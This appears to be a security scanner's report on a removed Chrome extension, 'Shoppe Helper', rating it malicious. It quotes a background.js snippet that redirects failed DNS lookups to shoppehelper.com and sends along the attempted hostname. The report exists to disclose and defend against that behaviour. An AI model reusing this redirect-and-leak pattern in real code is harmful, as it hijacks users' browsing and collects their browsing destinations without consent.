Shoppe Helper

Shoppe Helper

ID: icpgdfcojdahkgjhobbpndpmgajejaco

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Removed
Version
1.0
Size
0.02 MB
Rating
5.0/5
Reviews
1
Users
10,000
Type
Extension
Updated
Feb 3, 2024
Category
Productivity Tools
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
bryceView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
Yes
Mailbox exists
Yes
Website
Visit
Total Extensions
12
Active
3
Obsolete
9
Listed
12
Unlisted
0
Total Users
365,889
Screenshot 1
Screenshot 2

Helps online shoppers find new stores if the site they want to visit is down.

Shoppe Helper now supports a new function that helps users continue their journy online. With the core focus of helping people who are shopping online. If a website is no longer available we help you continue an easy and quick search to find an alternative website.

Item
Type
Severity
Description
http://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
https://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
webNavigation
Permission
High
This permission enables monitoring of all browser navigation events and transitions. Rated High because it can track every page visit, navigation method, and browsing pattern, potentially exposing sensitive browsing behavior and user activities.

The extension forcibly redirects navigation errors to an external domain it controls (shoppehelper.com), hijacking the browser's native error page behavior. This is a classic typosquatting/traffic-monetization technique: users who mistype a URL or visit a temporarily offline site are captured and redirected to an affiliate or ad-serving page, generating revenue for the extension author without user consent. The redirect covers all HTTP and HTTPS schemes across every website.

background.js (Line 11)
chrome.webNavigation.onErrorOccurred.addListener(e => {  if (e.error.includes("RESOLVE") && e.frameId == 0) {    chrome.tabs.update({      url: "https://shoppehelper.com/s/?nx=" + new URL(e.url)        .hostname    });  }}, {  url: [{    schemes: ["http", "https"]  }]});

When any DNS resolution fails (ERR_NAME_NOT_RESOLVED), the extension silently redirects the user's tab to shoppehelper.com with the attempted hostname appended as the `nx=` query parameter. This exfiltrates the user's browsing destination — including internal or sensitive hostnames that failed to resolve — to an external third-party server. Combined with broad host permissions (`http://*/*`, `https://*/*`) and `webNavigation`, this forms a passive data collection pipeline that captures every failed navigation attempt across all sites.

background.js (Line 11)
chrome.webNavigation.onErrorOccurred.addListener(e => {  if (e.error.includes("RESOLVE") && e.frameId == 0) {    chrome.tabs.update({      url: "https://shoppehelper.com/s/?nx=" + new URL(e.url)        .hostname    });  }}, {  url: [{    schemes: ["http", "https"]  }]});

By severity

Critical1
High1
Medium0
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.02

Files with findings

1 distinct path — top paths by unique finding count:

  • background.js2
S.No.
Category
Severity
File
Summary
Found in Version
1Tracking
critical
background.js (line 11)The extension forcibly redirects navigation errors to an external domain it controls (shoppehelper.com), hijacking the browser's native error page behavior. This is a classic typosquatting/traffic-monetization techniq…
2Unauthorized Data Collection
high
background.js (line 11)When any DNS resolution fails (ERR_NAME_NOT_RESOLVED), the extension silently redirects the user's tab to shoppehelper.com with the attempted hostname appended as the `nx=` query parameter. This exfiltrates the user's…
URLs
9
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/tiff/1.0/http://ns.adobe.com/tiff/1.0/
shoppehelper.com/thankyou/https://shoppehelper.com/thankyou/
shoppehelper.com/uninstalled/https://shoppehelper.com/uninstalled/
shoppehelper.com/s/https://shoppehelper.com/s/?nx=
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
shoppehelper.com-https://shoppehelper.com
*/*http://*/*
*/*https://*/*

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
1.0
Latest
0.02 MB
Malicious
2
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.